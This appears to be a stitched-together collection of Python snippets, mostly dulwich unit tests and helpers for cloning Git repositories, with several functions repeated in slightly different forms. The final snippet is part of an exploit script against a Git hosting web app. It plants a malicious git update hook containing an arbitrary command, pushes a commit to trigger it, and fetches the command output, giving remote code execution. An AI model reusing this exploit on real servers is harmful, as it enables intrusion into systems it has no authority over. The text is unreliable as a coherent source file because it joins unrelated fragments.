errstream=errstream) # Assert that fetch updated the local image of the remote self.assert_correct_remote_refs( target_repo.get_refs(), self.repo.get_refs()) # Check the target repo for pushed changes, as well as updates # for the refs with Repo(target_path) as r: self.assertTrue(self.repo[b'HEAD'].id in r) self.assertNotEqual(self.repo.get_refs(), target_refs)
def __clone_repo(self, repo_url, destination): """ This is to replicate the functionality of cloning/pulling a repo """ try: with open('/dev/null', 'wb') as devnull: porcelain.pull(destination, repo_url, outstream=devnull, errstream=devnull) repo = porcelain.open_repo(destination) except dulwich.errors.NotGitRepository: with open('/dev/null', 'wb') as devnull: repo = porcelain.clone(repo_url, destination, outstream=devnull, errstream=devnull) remote_refs = porcelain.fetch(repo, repo_url) ref = f'refs/heads/{self.branch}'.encode() try: repo[ref] = remote_refs[ref] except KeyError: ref = b'refs/heads/master' msgs = [ f'\nBranch {self.branch} does not exist at {repo_url}!', 'Using "master" branch for plugin, this may not work ' 'with your RELEASE' ] for msg in msgs: iocage_lib.ioc_common.logit({ 'level': 'INFO', 'message': msg }, _callback=self.callback) repo[ref] = remote_refs[ref] tree = repo[ref].tree # Let git reflect reality repo.reset_index(tree) repo.refs.set_symbolic_ref(b'HEAD', ref)
def test_bare_local_with_checkout(self): f1_1 = make_object(Blob, data=b'f1') commit_spec = [[1], [2, 1], [3, 1, 2]] trees = {1: [(b'f1', f1_1), (b'f2', f1_1)], 2: [(b'f1', f1_1), (b'f2', f1_1)], 3: [(b'f1', f1_1), (b'f2', f1_1)], } c1, c2, c3 = build_commit_graph(self.repo.object_store, commit_spec, trees) self.repo.refs[b"refs/heads/master"] = c3.id target_path = tempfile.mkdtemp() errstream = BytesIO() self.addCleanup(shutil.rmtree, target_path) r = porcelain.clone(self.repo.path, target_path, bare=True, errstream=errstream) self.assertEqual(r.path, target_path) self.assertEqual(Repo(target_path).head(), c3.id) self.assertFalse(b'f1' in os.listdir(target_path)) self.assertFalse(b'f2' in os.listdir(target_path))
def test_simple_local(self): f1_1 = make_object(Blob, data='f1') commit_spec = [[1], [2, 1], [3, 1, 2]] trees = {1: [('f1', f1_1), ('f2', f1_1)], 2: [('f1', f1_1), ('f2', f1_1)], 3: [('f1', f1_1), ('f2', f1_1)], } c1, c2, c3 = build_commit_graph(self.repo.object_store, commit_spec, trees) self.repo.refs["refs/heads/master"] = c3.id target_path = tempfile.mkdtemp() outstream = BytesIO() self.addCleanup(shutil.rmtree, target_path) r = porcelain.clone(self.repo.path, target_path, checkout=False, outstream=outstream) self.assertEqual(r.path, target_path) self.assertEqual(Repo(target_path).head(), c3.id) self.assertTrue('f1' not in os.listdir(target_path)) self.assertTrue('f2' not in os.listdir(target_path))
def test_simple(self): outstream = BytesIO() errstream = BytesIO() # create a file for initial commit handle, fullpath = tempfile.mkstemp(dir=self.repo.path) os.close(handle) filename = os.path.basename(fullpath) porcelain.add(repo=self.repo.path, paths=filename) porcelain.commit(repo=self.repo.path, message=b'test', author=b'test', committer=b'test') # Setup target repo target_path = tempfile.mkdtemp() self.addCleanup(shutil.rmtree, target_path) target_repo = porcelain.clone(self.repo.path, target=target_path, errstream=errstream) # create a second file to be pushed handle, fullpath = tempfile.mkstemp(dir=self.repo.path) os.close(handle) filename = os.path.basename(fullpath) porcelain.add(repo=self.repo.path, paths=filename) porcelain.commit(repo=self.repo.path, message=b'test2', author=b'test2', committer=b'test2') self.assertFalse(self.repo[b'HEAD'].id in target_repo) target_repo.close() # Fetch changes into the cloned repo porcelain.fetch(target_path, self.repo.path, outstream=outstream, errstream=errstream) # Check the target repo for pushed changes with closing(Repo(target_path)) as r: self.assertTrue(self.repo[b'HEAD'].id in r)
def __clone_repo(self, repo_url, destination): """ This is to replicate the functionality of cloning/pulling a repo """ try: with open('/dev/null', 'wb') as devnull: porcelain.pull(destination, repo_url, outstream=devnull, errstream=devnull) repo = porcelain.open_repo(destination) except dulwich.errors.NotGitRepository: with open('/dev/null', 'wb') as devnull: repo = porcelain.clone( repo_url, destination, outstream=devnull, errstream=devnull ) remote_refs = porcelain.fetch(repo, repo_url) ref = f'refs/heads/{self.branch}'.encode() try: repo[ref] = remote_refs[ref] except KeyError: ref = b'refs/heads/master' msgs = [ f'\nBranch {self.branch} does not exist at {repo_url}!', 'Using "master" branch for plugin, this may not work ' 'with your RELEASE' ] for msg in msgs: iocage_lib.ioc_common.logit( { 'level': 'INFO', 'message': msg }, _callback=self.callback) repo[ref] = remote_refs[ref] tree = repo[ref].tree # Let git reflect reality repo.reset_index(tree) repo.refs.set_symbolic_ref(b'HEAD', ref)
def test_simple_local_with_checkout(self): f1_1 = make_object(Blob, data=b"f1") commit_spec = [[1], [2, 1], [3, 1, 2]] trees = { 1: [(b"f1", f1_1), (b"f2", f1_1)], 2: [(b"f1", f1_1), (b"f2", f1_1)], 3: [(b"f1", f1_1), (b"f2", f1_1)], } c1, c2, c3 = build_commit_graph(self.repo.object_store, commit_spec, trees) self.repo.refs[b"refs/heads/master"] = c3.id target_path = tempfile.mkdtemp() errstream = BytesIO() self.addCleanup(shutil.rmtree, target_path) with closing(porcelain.clone(self.repo.path, target_path, checkout=True, errstream=errstream)) as r: self.assertEqual(r.path, target_path) with closing(Repo(target_path)) as r: self.assertEqual(r.head(), c3.id) self.assertTrue("f1" in os.listdir(target_path)) self.assertTrue("f2" in os.listdir(target_path))
def test_simple_local(self): f1_1 = make_object(Blob, data=b"f1") commit_spec = [[1], [2, 1], [3, 1, 2]] trees = { 1: [(b"f1", f1_1), (b"f2", f1_1)], 2: [(b"f1", f1_1), (b"f2", f1_1)], 3: [(b"f1", f1_1), (b"f2", f1_1)], } c1, c2, c3 = build_commit_graph(self.repo.object_store, commit_spec, trees) self.repo.refs[b"refs/heads/master"] = c3.id self.repo.refs[b"refs/tags/foo"] = c3.id target_path = tempfile.mkdtemp() errstream = BytesIO() self.addCleanup(shutil.rmtree, target_path) r = porcelain.clone(self.repo.path, target_path, checkout=False, errstream=errstream) self.assertEqual(r.path, target_path) target_repo = Repo(target_path) self.assertEqual(target_repo.head(), c3.id) self.assertEqual(c3.id, target_repo.refs[b"refs/tags/foo"]) self.assertTrue(b"f1" not in os.listdir(target_path)) self.assertTrue(b"f2" not in os.listdir(target_path))
def clone_remote(self, clone_repo_name): #Creating a clone of remote repo. self.isaclone = 1 #Creating a clone of remote repo. p.clone(self.cloned_from, clone_repo_name)
def clone_remote(remote_repo_name, clone_repo_name): #Creating a clone of remote repo. p.clone(remote_repo_name, clone_repo_name)
def clone_local(self,clone_repo_name): #Creating a clone of a given repo. The repo should be local. p.clone(self.repo_path,clone_repo_name)
def install_plugin(self, _plugins_location, _plugin_name, _plugin_info): # TODO: Add branch.. _curr_target = os.path.join(_plugins_location, _plugin_name) porcelain.clone(source=_plugin_info["url"], target=_curr_target, checkout=True) self.install_plugin_binaries(_curr_target)
csrf = get_csrf('repo/create') admin_repo_name = get_random() print "[+] Try create repo {}".format(admin_repo_name) repo_post = s.post("{}repo/create".format(url), data={'_csrf':csrf, 'uid':user_id, 'repo_name':admin_repo_name, 'readme': 'Default', 'auto_init':'on'}, allow_redirects=False) if repo_post.status_code != 302: print "[-] Cannot create admin repo" os._exit(0) csrf = get_csrf('{}/{}/settings/hooks/git/update'.format(user_name, admin_repo_name)) hook_posts = s.post('{}{}/{}/settings/hooks/git/update'.format(url, user_name, admin_repo_name), data={'_csrf':csrf, 'content':"#!/bin/sh\n{}>objects/info/exploit".format(command)}, allow_redirects=False) if hook_posts.status_code != 302: print "[-] Cannot updatehook" os._exit(0) clone_url = '{}{}:{}@{}{}/{}.git'.format(url[0:7], login_token, "", url[7:], user_name, admin_repo_name) temp_repo_dir = get_random() r = porcelain.clone(clone_url, temp_repo_dir) porcelain.commit(r, get_random()) porcelain.push(r, clone_url, "master") command_output = s.get('{}{}/{}/objects/info/exploit'.format(url, user_name, admin_repo_name)) if command_output.status_code != 200: print "[-] Cannot get exploit output" os._exit(0) print command_output.text.encode("utf-8")